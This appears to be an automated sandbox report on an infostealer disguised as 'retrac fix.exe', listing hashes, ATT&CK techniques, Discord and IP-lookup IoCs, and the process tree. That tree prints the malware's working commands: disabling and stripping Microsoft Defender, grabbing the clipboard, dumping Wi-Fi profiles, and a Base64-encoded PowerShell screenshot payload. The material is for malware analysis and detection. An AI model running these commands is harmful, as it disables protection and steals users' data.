02c8e29f5a2bf821a8a4b8ed73c12138329c1b5814859d7d31be9fba3f7a453f

Analysis

max time kernel
149s
max time network
117s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
01/07/2026, 09:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
retrac fix.exe
Size 10.8MB
Sample260701-lgedcscy7s
SHA256 02c8e29f5a2bf821a8a4b8ed73c12138329c1b5814859d7d31be9fba3f7a453f
MD5 d3273ee6ddbe0f7a8d765b769f44180b
SHA1 4da12efb6424ffad373dd1ea10965b2d747a1dc8
SHA512 1b8cbcd9bf4884a3a947c14b4e6bb77f81d6f9523725dc1bc06731a0ed4d15c76652844aa571ef76dac60744d5c00926c58f5fc380273a092077183cd7e8886f
SSDEEP 196608:wjgLvGgL5IlCHIAoa7Lp8mx4K5dcHs+AtlmDweRrvziLXFT1vLqE7gpC:iWvGG5dtjOm35dcHsxtEDweRiBR0pC
TLSH
T141B6336477C9089AECA2657E9DA1C652F3F274400B22D6DF07685B293F3B9E4093E374
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2524	powershell.exe
2588	powershell.exe
236	powershell.exe
4036	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
2524	powershell.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
2260	cmd.exe
3608	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3452	rar.exe

Loads dropped DLL 19 IoCs

pid	Process
3768	retrac fix.exe
3768	retrac fix.exe
3768	retrac fix.exe
3768	retrac fix.exe
3768	retrac fix.exe
3768	retrac fix.exe
3768	retrac fix.exe
3768	retrac fix.exe
3768	retrac fix.exe
3768	retrac fix.exe
3768	retrac fix.exe
3768	retrac fix.exe
3768	retrac fix.exe
3768	retrac fix.exe
3768	retrac fix.exe
3768	retrac fix.exe
3768	retrac fix.exe
3768	retrac fix.exe
3768	retrac fix.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	discord.com
4	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 3 IoCs

discovery

Process Discovery

T1057

pid	Process
2472	tasklist.exe
1928	tasklist.exe
4560	tasklist.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x001900000002b530-35.dat	upx
behavioral2/memory/3768-39-0x00007FFBE8200000-0x00007FFBE890D000-memory.dmp	upx
behavioral2/files/0x001900000002b51c-41.dat	upx
behavioral2/files/0x001900000002b52d-45.dat	upx
behavioral2/files/0x001900000002b51b-48.dat	upx
behavioral2/memory/3768-50-0x00007FFBFC220000-0x00007FFBFC23A000-memory.dmp	upx
behavioral2/memory/3768-53-0x00007FFBF8BB0000-0x00007FFBF8BDC000-memory.dmp	upx
behavioral2/files/0x001900000002b529-52.dat	upx
behavioral2/files/0x001900000002b528-75.dat	upx
behavioral2/files/0x001900000002b527-74.dat	upx
behavioral2/files/0x001900000002b526-73.dat	upx
behavioral2/files/0x001900000002b525-72.dat	upx
behavioral2/files/0x001900000002b524-71.dat	upx
behavioral2/files/0x001900000002b523-70.dat	upx
behavioral2/files/0x001900000002b522-69.dat	upx
behavioral2/files/0x001900000002b520-68.dat	upx
behavioral2/files/0x001900000002b51d-67.dat	upx
behavioral2/files/0x001900000002b51a-66.dat	upx
behavioral2/files/0x001900000002b544-64.dat	upx
behavioral2/memory/3768-77-0x00007FFC022F0000-0x00007FFC022FD000-memory.dmp	upx
behavioral2/memory/3768-80-0x00007FFC00F70000-0x00007FFC00F7F000-memory.dmp	upx
behavioral2/files/0x001900000002b543-63.dat	upx
behavioral2/files/0x001900000002b533-62.dat	upx
behavioral2/memory/3768-82-0x00007FFBF8B90000-0x00007FFBF8BA4000-memory.dmp	upx
behavioral2/files/0x001900000002b52c-83.dat	upx
behavioral2/memory/3768-84-0x00007FFBE7720000-0x00007FFBE7C54000-memory.dmp	upx
behavioral2/memory/3768-59-0x00007FFBF88E0000-0x00007FFBF8960000-memory.dmp	upx
behavioral2/files/0x001900000002b52f-58.dat	upx
behavioral2/files/0x001900000002b52e-57.dat	upx
behavioral2/files/0x001900000002b521-51.dat	upx
behavioral2/memory/3768-46-0x00007FFC02320000-0x00007FFC0232F000-memory.dmp	upx
behavioral2/memory/3768-44-0x00007FFBFC9B0000-0x00007FFBFC9D9000-memory.dmp	upx
behavioral2/memory/3768-92-0x00007FFBFC9B0000-0x00007FFBFC9D9000-memory.dmp	upx
behavioral2/memory/3768-91-0x00007FFBF7F20000-0x00007FFBF7F54000-memory.dmp	upx
behavioral2/memory/3768-90-0x00007FFBF7BE0000-0x00007FFBF7CAE000-memory.dmp	upx
behavioral2/memory/3768-89-0x00007FFBF8B70000-0x00007FFBF8B8A000-memory.dmp	upx
behavioral2/memory/3768-88-0x00007FFBE8200000-0x00007FFBE890D000-memory.dmp	upx
behavioral2/memory/3768-99-0x00007FFBF7EA0000-0x00007FFBF7EC5000-memory.dmp	upx
behavioral2/memory/3768-101-0x00007FFBE7160000-0x00007FFBE72EA000-memory.dmp	upx
behavioral2/memory/3768-103-0x00007FFBF8C60000-0x00007FFBF8C6D000-memory.dmp	upx
behavioral2/memory/3768-105-0x00007FFBE70A0000-0x00007FFBE715E000-memory.dmp	upx
behavioral2/memory/3768-108-0x00007FFC00F70000-0x00007FFC00F7F000-memory.dmp	upx
behavioral2/memory/4036-106-0x000001909B7E0000-0x000001909B7F0000-memory.dmp	upx
behavioral2/memory/3768-129-0x00007FFBF8B90000-0x00007FFBF8BA4000-memory.dmp	upx
behavioral2/memory/3768-244-0x00007FFBE7720000-0x00007FFBE7C54000-memory.dmp	upx
behavioral2/memory/3768-271-0x00007FFBF7BE0000-0x00007FFBF7CAE000-memory.dmp	upx
behavioral2/memory/3768-325-0x00007FFBF7F20000-0x00007FFBF7F54000-memory.dmp	upx
behavioral2/memory/3768-331-0x00007FFBF7EA0000-0x00007FFBF7EC5000-memory.dmp	upx
behavioral2/memory/3768-336-0x00007FFBE7160000-0x00007FFBE72EA000-memory.dmp	upx
behavioral2/memory/3768-351-0x00007FFBE8200000-0x00007FFBE890D000-memory.dmp	upx
behavioral2/memory/3768-382-0x00007FFBE7160000-0x00007FFBE72EA000-memory.dmp	upx
behavioral2/memory/3768-381-0x00007FFBF7EA0000-0x00007FFBF7EC5000-memory.dmp	upx
behavioral2/memory/3768-398-0x00007FFBE70A0000-0x00007FFBE715E000-memory.dmp	upx
behavioral2/memory/3768-397-0x00007FFBF8C60000-0x00007FFBF8C6D000-memory.dmp	upx
behavioral2/memory/3768-396-0x00007FFBF7BE0000-0x00007FFBF7CAE000-memory.dmp	upx
behavioral2/memory/3768-395-0x00007FFBF8B70000-0x00007FFBF8B8A000-memory.dmp	upx
behavioral2/memory/3768-394-0x00007FFBE7720000-0x00007FFBE7C54000-memory.dmp	upx
behavioral2/memory/3768-393-0x00007FFBF8B90000-0x00007FFBF8BA4000-memory.dmp	upx
behavioral2/memory/3768-392-0x00007FFC00F70000-0x00007FFC00F7F000-memory.dmp	upx
behavioral2/memory/3768-391-0x00007FFC022F0000-0x00007FFC022FD000-memory.dmp	upx
behavioral2/memory/3768-390-0x00007FFBF88E0000-0x00007FFBF8960000-memory.dmp	upx
behavioral2/memory/3768-389-0x00007FFBF8BB0000-0x00007FFBF8BDC000-memory.dmp	upx
behavioral2/memory/3768-388-0x00007FFBFC220000-0x00007FFBFC23A000-memory.dmp	upx
behavioral2/memory/3768-387-0x00007FFC02320000-0x00007FFC0232F000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
1404	cmd.exe
4700	netsh.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1692	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3240	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 21 IoCs

pid	Process
4036	powershell.exe
2524	powershell.exe
4036	powershell.exe
2524	powershell.exe
2524	powershell.exe
3608	powershell.exe
3608	powershell.exe
3608	powershell.exe
3608	powershell.exe
440	powershell.exe
440	powershell.exe
440	powershell.exe
2588	powershell.exe
2588	powershell.exe
2588	powershell.exe
1800	powershell.exe
1800	powershell.exe
236	powershell.exe
236	powershell.exe
1100	powershell.exe
1100	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4036	powershell.exe
Token: SeDebugPrivilege	1928	tasklist.exe
Token: SeDebugPrivilege	2524	powershell.exe
Token: SeDebugPrivilege	4560	tasklist.exe
Token: SeIncreaseQuotaPrivilege	3948	WMIC.exe
Token: SeSecurityPrivilege	3948	WMIC.exe
Token: SeTakeOwnershipPrivilege	3948	WMIC.exe
Token: SeLoadDriverPrivilege	3948	WMIC.exe
Token: SeSystemProfilePrivilege	3948	WMIC.exe
Token: SeSystemtimePrivilege	3948	WMIC.exe
Token: SeProfSingleProcessPrivilege	3948	WMIC.exe
Token: SeIncBasePriorityPrivilege	3948	WMIC.exe
Token: SeCreatePagefilePrivilege	3948	WMIC.exe
Token: SeBackupPrivilege	3948	WMIC.exe
Token: SeRestorePrivilege	3948	WMIC.exe
Token: SeShutdownPrivilege	3948	WMIC.exe
Token: SeDebugPrivilege	3948	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3948	WMIC.exe
Token: SeRemoteShutdownPrivilege	3948	WMIC.exe
Token: SeUndockPrivilege	3948	WMIC.exe
Token: SeManageVolumePrivilege	3948	WMIC.exe
Token: 33	3948	WMIC.exe
Token: 34	3948	WMIC.exe
Token: 35	3948	WMIC.exe
Token: 36	3948	WMIC.exe
Token: SeDebugPrivilege	3608	powershell.exe
Token: SeDebugPrivilege	2472	tasklist.exe
Token: SeIncreaseQuotaPrivilege	3948	WMIC.exe
Token: SeSecurityPrivilege	3948	WMIC.exe
Token: SeTakeOwnershipPrivilege	3948	WMIC.exe
Token: SeLoadDriverPrivilege	3948	WMIC.exe
Token: SeSystemProfilePrivilege	3948	WMIC.exe
Token: SeSystemtimePrivilege	3948	WMIC.exe
Token: SeProfSingleProcessPrivilege	3948	WMIC.exe
Token: SeIncBasePriorityPrivilege	3948	WMIC.exe
Token: SeCreatePagefilePrivilege	3948	WMIC.exe
Token: SeBackupPrivilege	3948	WMIC.exe
Token: SeRestorePrivilege	3948	WMIC.exe
Token: SeShutdownPrivilege	3948	WMIC.exe
Token: SeDebugPrivilege	3948	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3948	WMIC.exe
Token: SeRemoteShutdownPrivilege	3948	WMIC.exe
Token: SeUndockPrivilege	3948	WMIC.exe
Token: SeManageVolumePrivilege	3948	WMIC.exe
Token: 33	3948	WMIC.exe
Token: 34	3948	WMIC.exe
Token: 35	3948	WMIC.exe
Token: 36	3948	WMIC.exe
Token: SeDebugPrivilege	440	powershell.exe
Token: SeDebugPrivilege	2588	powershell.exe
Token: SeDebugPrivilege	1800	powershell.exe
Token: SeIncreaseQuotaPrivilege	2276	WMIC.exe
Token: SeSecurityPrivilege	2276	WMIC.exe
Token: SeTakeOwnershipPrivilege	2276	WMIC.exe
Token: SeLoadDriverPrivilege	2276	WMIC.exe
Token: SeSystemProfilePrivilege	2276	WMIC.exe
Token: SeSystemtimePrivilege	2276	WMIC.exe
Token: SeProfSingleProcessPrivilege	2276	WMIC.exe
Token: SeIncBasePriorityPrivilege	2276	WMIC.exe
Token: SeCreatePagefilePrivilege	2276	WMIC.exe
Token: SeBackupPrivilege	2276	WMIC.exe
Token: SeRestorePrivilege	2276	WMIC.exe
Token: SeShutdownPrivilege	2276	WMIC.exe
Token: SeDebugPrivilege	2276	WMIC.exe

Suspicious use of WriteProcessMemory 54 IoCs

description	pid	Process	procid_target
PID 3152 wrote to memory of 3768	3152	retrac fix.exe	81
PID 3768 wrote to memory of 4144	3768	retrac fix.exe	84
PID 3768 wrote to memory of 4964	3768	retrac fix.exe	85
PID 4144 wrote to memory of 4036	4144	cmd.exe	88
PID 3768 wrote to memory of 4804	3768	retrac fix.exe	89
PID 3768 wrote to memory of 1172	3768	retrac fix.exe	90
PID 4804 wrote to memory of 1928	4804	cmd.exe	93
PID 4964 wrote to memory of 2524	4964	cmd.exe	94
PID 1172 wrote to memory of 4560	1172	cmd.exe	95
PID 3768 wrote to memory of 776	3768	retrac fix.exe	96
PID 3768 wrote to memory of 2260	3768	retrac fix.exe	98
PID 3768 wrote to memory of 5064	3768	retrac fix.exe	100
PID 776 wrote to memory of 3948	776	cmd.exe	102
PID 2260 wrote to memory of 3608	2260	cmd.exe	103
PID 5064 wrote to memory of 2472	5064	cmd.exe	104
PID 3768 wrote to memory of 1584	3768	retrac fix.exe	105
PID 3768 wrote to memory of 1404	3768	retrac fix.exe	106
PID 3768 wrote to memory of 3496	3768	retrac fix.exe	107
PID 3768 wrote to memory of 2188	3768	retrac fix.exe	111
PID 1404 wrote to memory of 4700	1404	cmd.exe	113
PID 1584 wrote to memory of 500	1584	cmd.exe	126
PID 2188 wrote to memory of 440	2188	cmd.exe	115
PID 3496 wrote to memory of 3240	3496	cmd.exe	116
PID 3768 wrote to memory of 2616	3768	retrac fix.exe	117
PID 2616 wrote to memory of 3040	2616	cmd.exe	119
PID 3768 wrote to memory of 2636	3768	retrac fix.exe	120
PID 440 wrote to memory of 3664	440	powershell.exe	122
PID 3768 wrote to memory of 4428	3768	retrac fix.exe	123
PID 2636 wrote to memory of 500	2636	cmd.exe	126
PID 4428 wrote to memory of 2588	4428	cmd.exe	127
PID 3768 wrote to memory of 5088	3768	retrac fix.exe	128
PID 3664 wrote to memory of 2156	3664	csc.exe	130
PID 5088 wrote to memory of 4464	5088	cmd.exe	131
PID 3768 wrote to memory of 4984	3768	retrac fix.exe	132
PID 4984 wrote to memory of 1720	4984	cmd.exe	134
PID 3768 wrote to memory of 476	3768	retrac fix.exe	135
PID 476 wrote to memory of 3920	476	cmd.exe	137
PID 3768 wrote to memory of 2364	3768	retrac fix.exe	138
PID 2364 wrote to memory of 1800	2364	cmd.exe	140
PID 3768 wrote to memory of 4316	3768	retrac fix.exe	141
PID 3768 wrote to memory of 2224	3768	retrac fix.exe	144
PID 2224 wrote to memory of 3452	2224	cmd.exe	146
PID 3768 wrote to memory of 1552	3768	retrac fix.exe	147
PID 1552 wrote to memory of 2276	1552	cmd.exe	149
PID 3768 wrote to memory of 4828	3768	retrac fix.exe	150
PID 4828 wrote to memory of 2484	4828	cmd.exe	152
PID 3768 wrote to memory of 3280	3768	retrac fix.exe	153
PID 3280 wrote to memory of 2388	3280	cmd.exe	155
PID 3768 wrote to memory of 1192	3768	retrac fix.exe	156
PID 1192 wrote to memory of 236	1192	cmd.exe	158
PID 3768 wrote to memory of 2828	3768	retrac fix.exe	159
PID 2828 wrote to memory of 1692	2828	cmd.exe	161
PID 3768 wrote to memory of 4968	3768	retrac fix.exe	162
PID 4968 wrote to memory of 1100	4968	cmd.exe	164

C:\Users\Admin\AppData\Local\Temp\retrac fix.exe
"C:\Users\Admin\AppData\Local\Temp\retrac fix.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3152
- C:\Users\Admin\AppData\Local\Temp\retrac fix.exe
  "C:\Users\Admin\AppData\Local\Temp\retrac fix.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:3768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\retrac fix.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4144
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\retrac fix.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4036
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4964
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2524
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4804
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1172
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4560
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:776
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3948
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:2260
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3608
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5064
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1584
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:500
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:1404
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:4700
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3496
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:3240
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2188
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
